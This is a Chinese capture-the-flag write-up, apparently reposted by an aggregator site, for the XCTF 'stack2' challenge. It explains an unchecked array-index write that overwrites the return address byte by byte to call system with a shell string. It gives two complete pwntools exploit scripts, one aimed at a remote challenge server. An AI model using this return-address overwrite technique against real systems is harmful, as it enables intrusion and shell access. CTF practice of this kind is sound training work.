xctf - stack2

Posted yidianhan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xctf - stack2相关的知识,希望对你有一定的参考价值。

xctf - stack2

文件check一下,几乎全开了

技术图片

 

 

运行一下程序,好像很正常呢:

技术图片

 

 

 再来一个大的,好像有点儿问题,变1.00了

技术图片

 

 

在ida中查看,在输入的时候没有检查数据大小

技术图片

 

 

 可以通过劫持eip获取shell。程序偏移0x84,程序中读取了低位,需要逐位添加地址

技术图片

 

 

 system(‘/bin/bash’)地址:0x0804859b

技术图片

 

 

#!/usr/bin/env python
#coding:utf-8

from pwn import *

p = process(./stack2)
#p = remote(‘xxxxx‘,xxxx)

system_bish_addr = 0x0804859b

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline(3)
    p.recvuntil(which number to change:
)
    p.sendline(str(addr))
    p.recvuntil(new number:
)
    p.sendline(str(va))
    p.recvuntil(5. exit
)

#payload = xxxxx

p.sendlineafter(How many numbers you have:
,1)

p.sendlineafter(Give me your numbers
,2)

p.recvuntil(5. exit
)

write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

p.sendline(5)
p.interactive()

本地成功,远程失败,提示没有bash,只有sh

技术图片

 

 

 技术图片

 

 

 需要改一下代码:

先找一下程序的system地址和sh地址:
技术图片

 

 

 技术图片

 

 

system_addr = 0x08048450

bish_addr = 0x08048987

修改后:

#!/usr/bin/env python
#coding:utf-8

from pwn import *

#p = process(‘./stack2‘)
p = remote(111.198.29.45,58596)

system_addr = 0x08048450
bish_addr = 0x08048987

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline(3)
    p.recvuntil(which number to change:
)
    p.sendline(str(addr))
    p.recvuntil(new number:
)
    p.sendline(str(va))
    p.recvuntil(5. exit
)

#payload = xxxxx

p.sendlineafter(How many numbers you have:
,1)

p.sendlineafter(Give me your numbers
,2)

p.recvuntil(5. exit
)

write_adrr(leave_offset,0x50)
write_adrr(leave_offset+1,0x84)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

leave_offset +=8
write_adrr(leave_offset,0x87)
write_adrr(leave_offset+1,0x89)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)
p.sendline(5)
p.interactive()

成功!

技术图片

以上是关于xctf - stack2的主要内容,如果未能解决你的问题,请参考以下文章

xctf攻防世界——crackme writeup

XCTF练习题---WEB---disabled_button

XCTF-web的writeup(1--4)

XCTF-unserialize3

XCTF-shrine

用两个栈实现队列